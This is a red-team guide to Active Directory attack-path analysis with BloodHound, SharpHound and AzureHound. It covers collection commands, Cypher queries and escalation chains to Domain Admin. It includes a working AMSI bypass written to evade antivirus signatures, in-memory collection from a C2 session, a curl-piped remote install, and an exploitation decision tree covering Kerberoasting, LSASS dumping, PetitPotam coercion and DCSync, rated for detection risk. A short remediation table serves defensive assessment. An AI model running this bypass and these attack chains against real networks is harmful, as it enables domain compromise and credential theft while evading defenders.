# Performing Active Directory BloodHound Analysis

## Overview

BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.


## When to Use

- When conducting security assessments that involve performing active directory bloodhound analysis
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing

## Prerequisites

- Initial foothold on a domain-joined Windows system (or valid domain credentials)
- BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
- SharpHound collector (C# binary or PowerShell module)
- Neo4j database (Legacy) or PostgreSQL (CE)
- Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)

## MITRE ATT&CK Mapping

| Technique ID | Name | Tactic |
|---|---|---|
| T1087.002 | Account Discovery: Domain Account | Discovery |
| T1069.002 | Permission Groups Discovery: Domain Groups | Discovery |
| T1018 | Remote System Discovery | Discovery |
| T1482 | Domain Trust Discovery | Discovery |
| T1615 | Group Policy Discovery | Discovery |
| T1069.001 | Permission Groups Discovery: Local Groups | Discovery |

## Step 1: Data Collection with SharpHound

### SharpHound.exe (Preferred for OPSEC)

```powershell
# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip

# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123

# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00

# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
```

### Invoke-BloodHound (PowerShell)

```powershell
# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip

# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
```

### AzureHound (Azure AD)

```bash
# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json

# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound
```

## Step 2: Import Data into BloodHound

### BloodHound CE (v5+)

```bash
# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File
```

### BloodHound Legacy

```bash
# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)

# Start BloodHound GUI
./BloodHound --no-sandbox

# Drag and drop ZIP file into BloodHound GUI
```

## Step 3: Attack Path Analysis

### Pre-Built Queries (Most Critical)

```cypher
-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n

-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname

-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name

-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p

-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate

-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50

-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name
```

### Custom Cypher Queries

```cypher
-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name

-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50

-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name

-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name

-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
```

## Step 4: Common Attack Paths

### Path 1: Kerberoasting to DA
```
User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin
```

### Path 2: ACL Abuse Chain
```
User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin
```

### Path 3: Unconstrained Delegation
```
User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync
```

### Path 4: GPO Abuse
```
User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM
```

## Step 5: Remediation Recommendations

| Finding | Risk | Remediation |
|---|---|---|
| Kerberoastable DA | Critical | Use gMSA, rotate passwords, AES-only |
| Unconstrained Delegation | Critical | Migrate to constrained/RBCD delegation |
| Domain Users local admin | High | Remove DA from local admin, use LAPS |
| Excessive ACL permissions | High | Audit and reduce GenericAll/WriteDACL |
| Stale admin sessions | Medium | Implement session cleanup, restrict RDP |
| Cross-domain trust abuse | High | Review trust direction and SID filtering |

## Attack Paths Identified

### Path 1: Kerberoasting to Domain Admin

```
[Owned User]
  -> Kerberoast SVC_SQL@CORP.LOCAL (T1558.003)
  -> Crack hash offline (hashcat -m 13100)
  -> SVC_SQL AdminTo SQL01 (T1078.002)
  -> SQL01 HasSession DA_ADMIN (T1033)
  -> Dump LSASS on SQL01 (T1003.001)
  -> Domain Admin achieved
```

**Feasibility:** High - Service account uses weak password
**Detection Risk:** Low - Kerberoasting generates minimal logs by default

### Path 2: ACL Abuse Chain

```
[Owned User]
  -> GenericAll on HELPDESK_ADMIN (T1484)
  -> ForceChangePassword on HELPDESK_ADMIN
  -> HELPDESK_ADMIN MemberOf IT_ADMINS
  -> IT_ADMINS AdminTo DC01
  -> Domain Admin achieved
```

**Feasibility:** Medium - Requires interaction with target account
**Detection Risk:** Medium - Password reset generates Event ID 4724

### Path 3: Delegation Abuse

```
[Owned User]
  -> AdminTo WEB01 (unconstrained delegation)
  -> Deploy Rubeus monitor on WEB01
  -> Coerce DC01 auth via PetitPotam (T1187)
  -> Capture DC01$ TGT
  -> Pass the Ticket to DC01 (T1550.003)
  -> DCSync (T1003.006)
  -> Domain Admin achieved
```

**Feasibility:** High - Unconstrained delegation on non-DC
**Detection Risk:** High - PetitPotam coercion may trigger alerts

## SharpHound Collection Method Selection

```
Collection Method Decision
│
├── Need comprehensive data?
│   └── Use -c All (Collects everything)
│       Warning: Noisy, generates LDAP and SMB traffic
│
├── Need stealth?
│   └── Use -c DCOnly (Queries only DCs via LDAP)
│       Limitation: No session or local group data
│
├── Need session data over time?
│   └── Use -c Session --loop
│       Best for: Finding where admins are logged in
│
├── Azure AD environment?
│   └── Use AzureHound
│       Collects: Roles, App Registrations, Service Principals
│
└── Minimal footprint needed?
    └── Use -c Group,ACL
        Collects: Group memberships and ACL relationships only
```

## Attack Path Exploitation Decision Tree

```
BloodHound Shows Path to DA
│
├── Path via Kerberoastable account?
│   ├── Request TGS ticket (Rubeus/GetUserSPNs)
│   ├── Crack with hashcat (-m 13100)
│   └── Use cracked credential to continue path
│
├── Path via ACL abuse?
│   ├── GenericAll on user? → ForceChangePassword
│   ├── GenericAll on group? → Add self to group
│   ├── WriteDACL? → Grant self GenericAll, then abuse
│   ├── WriteOwner? → Change owner, then modify DACL
│   └── AddMember? → Add self to privileged group
│
├── Path via delegation?
│   ├── Unconstrained? → Coerce DC auth + capture TGT
│   ├── Constrained? → S4U2Self + S4U2Proxy abuse
│   └── RBCD? → Configure msDS-AllowedToActOnBehalf
│
├── Path via GPO?
│   ├── GenericWrite on GPO? → Add scheduled task
│   └── GpLink control? → Link malicious GPO to OU
│
└── Path via session?
    ├── Admin on computer with DA session?
    ├── Dump LSASS for DA credentials
    └── Or steal token/ticket
